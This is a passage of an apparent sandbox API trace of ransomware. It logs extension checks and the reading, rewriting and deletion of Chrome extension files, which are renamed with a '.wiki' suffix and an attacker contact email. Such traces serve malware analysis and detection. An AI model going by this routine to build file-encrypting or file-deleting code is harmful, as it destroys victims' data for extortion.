[0172.478] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.478] lstrlenW (lpString=".xlsx") returned 5 [0172.478] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.478] lstrlenW (lpString=".ppt") returned 4 [0172.479] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString=".zip") returned 4 [0172.479] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".rar") returned 4 [0172.479] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".bz2") returned 4 [0172.479] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".7z") returned 3 [0172.479] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString=".dbf") returned 4 [0172.479] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString=".1cd") returned 4 [0172.479] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString=".jpg") returned 4 [0172.479] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.479] lstrlenW (lpString=".doc") returned 4 [0172.479] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".docx") returned 5 [0172.479] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.479] lstrlenW (lpString=".pdf") returned 4 [0172.479] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".xls") returned 4 [0172.479] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.479] lstrlenW (lpString=".xlsx") returned 5 [0172.480] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.480] lstrlenW (lpString=".ppt") returned 4 [0172.480] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.480] lstrlenW (lpString=".zip") returned 4 [0172.480] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.480] lstrlenW (lpString=".rar") returned 4 [0172.480] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.480] lstrlenW (lpString=".bz2") returned 4 [0172.480] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.480] lstrlenW (lpString=".7z") returned 3 [0172.480] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.480] lstrlenW (lpString=".dbf") returned 4 [0172.480] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.480] lstrlenW (lpString=".1cd") returned 4 [0172.480] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.480] lstrlenW (lpString=".jpg") returned 4 [0172.480] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.480] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.480] lstrlenW (lpString="messages.json") returned 13 [0172.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.481] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=215) returned 1 [0172.481] CloseHandle (hObject=0x1b4) returned 1 [0172.481] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0172.481] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.481] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.481] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.482] GetLastError () returned 0x0 [0172.482] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd7, lpOverlapped=0x0) returned 1 [0172.483] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.483] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.483] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.484] SetEndOfFile (hFile=0x198) returned 1 [0172.484] CloseHandle (hObject=0x198) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.484] SetEndOfFile (hFile=0x1b4) returned 1 [0172.485] CloseHandle (hObject=0x1b4) returned 1 [0172.485] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.485] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 1 [0172.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.485] lstrlenW (lpString=".doc") returned 4 [0172.485] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.485] lstrlenW (lpString=".docx") returned 5 [0172.485] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.485] lstrlenW (lpString=".pdf") returned 4 [0172.485] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.485] lstrlenW (lpString=".xls") returned 4 [0172.485] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.485] lstrlenW (lpString=".xlsx") returned 5 [0172.486] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.486] lstrlenW (lpString=".ppt") returned 4 [0172.486] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString=".zip") returned 4 [0172.486] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.486] lstrlenW (lpString=".rar") returned 4 [0172.486] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.486] lstrlenW (lpString=".bz2") returned 4 [0172.486] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.486] lstrlenW (lpString=".7z") returned 3 [0172.486] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString=".dbf") returned 4 [0172.486] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString=".1cd") returned 4 [0172.486] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString=".jpg") returned 4 [0172.486] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.486] lstrlenW (lpString=".doc") returned 4 [0172.486] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.486] lstrlenW (lpString=".docx") returned 5 [0172.486] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.486] lstrlenW (lpString=".pdf") returned 4 [0172.669] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.670] lstrlenW (lpString=".xls") returned 4 [0172.670] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.670] lstrlenW (lpString=".xlsx") returned 5 [0172.670] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.670] lstrlenW (lpString=".ppt") returned 4 [0172.670] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.670] lstrlenW (lpString=".zip") returned 4 [0172.670] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.670] lstrlenW (lpString=".rar") returned 4 [0172.670] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.670] lstrlenW (lpString=".bz2") returned 4 [0172.670] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.670] lstrlenW (lpString=".7z") returned 3 [0172.670] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.670] lstrlenW (lpString=".dbf") returned 4 [0172.670] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.670] lstrlenW (lpString=".1cd") returned 4 [0172.670] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 154 [0172.670] lstrlenW (lpString=".jpg") returned 4 [0172.670] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.670] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.670] lstrlenW (lpString="manifest.json") returned 13 [0172.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.671] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=725) returned 1 [0172.671] CloseHandle (hObject=0x1a0) returned 1 [0172.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json")) returned 0x2020 [0172.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.672] GetLastError () returned 0x0 [0172.672] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2d5, lpOverlapped=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2e0, lpOverlapped=0x0) returned 1 [0172.674] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.674] SetEndOfFile (hFile=0x19c) returned 1 [0172.674] CloseHandle (hObject=0x19c) returned 1 [0172.675] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.675] SetEndOfFile (hFile=0x1a0) returned 1 [0172.675] CloseHandle (hObject=0x1a0) returned 1 [0172.675] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.676] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json")) returned 1 [0172.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.676] lstrlenW (lpString=".doc") returned 4 [0172.676] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".docx") returned 5 [0172.676] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.676] lstrlenW (lpString=".pdf") returned 4 [0172.676] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".xls") returned 4 [0172.676] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".xlsx") returned 5 [0172.676] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.676] lstrlenW (lpString=".ppt") returned 4 [0172.676] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.676] lstrlenW (lpString=".zip") returned 4 [0172.676] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".rar") returned 4 [0172.676] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".bz2") returned 4 [0172.676] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.676] lstrlenW (lpString=".7z") returned 3 [0172.676] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.676] lstrlenW (lpString=".dbf") returned 4 [0172.677] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.677] lstrlenW (lpString=".1cd") returned 4 [0172.677] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.677] lstrlenW (lpString=".jpg") returned 4 [0172.677] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.677] lstrlenW (lpString=".doc") returned 4 [0172.677] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".docx") returned 5 [0172.677] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.677] lstrlenW (lpString=".pdf") returned 4 [0172.677] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".xls") returned 4 [0172.677] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".xlsx") returned 5 [0172.677] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.677] lstrlenW (lpString=".ppt") returned 4 [0172.677] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.677] lstrlenW (lpString=".zip") returned 4 [0172.677] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".rar") returned 4 [0172.677] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".bz2") returned 4 [0172.677] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.677] lstrlenW (lpString=".7z") returned 3 [0172.678] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.678] lstrlenW (lpString=".dbf") returned 4 [0172.678] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 